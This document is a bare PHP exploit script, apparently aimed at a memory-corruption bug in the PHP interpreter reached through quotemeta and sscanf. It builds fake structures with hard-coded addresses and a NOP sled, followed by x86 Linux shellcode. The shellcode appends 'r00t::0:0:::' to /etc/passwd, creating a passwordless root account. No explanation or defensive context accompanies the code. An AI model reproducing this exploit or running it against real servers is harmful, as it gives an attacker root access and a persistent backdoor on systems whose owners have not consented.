Something

<?
$base_addr = 0x812a260;
$base_addr_fill = 0x16;
$zval_attr = 0x00000008;
$ret_loc = 0xbfffb01c;
$pattern = 0xdeadbabe;

function long2str($addr) {
return pack("V", $addr);
}

$data =
str_repeat(long2str($base_addr), $base_addr_fill) .
long2str($pattern) .
long2str($base_addr + 0x4) .
long2str($base_addr + 0x10 + 0xc) .
long2str(0x00000001) .
long2str($zval_attr) .
long2str($base_addr + 28) .
long2str($ret_loc) .
long2str(0x000000400) .
"\xeb\x06\x90\x90" .
"\x90\x90\x90\x90" .

"\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68" .
"\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66" .
"\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2" .
"\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68" .
"\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a" .
"\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80" .

str_repeat(long2str($base_addr), $base_addr_fill);
quotemeta($data);

sscanf($data, '%1$s', $str);
?>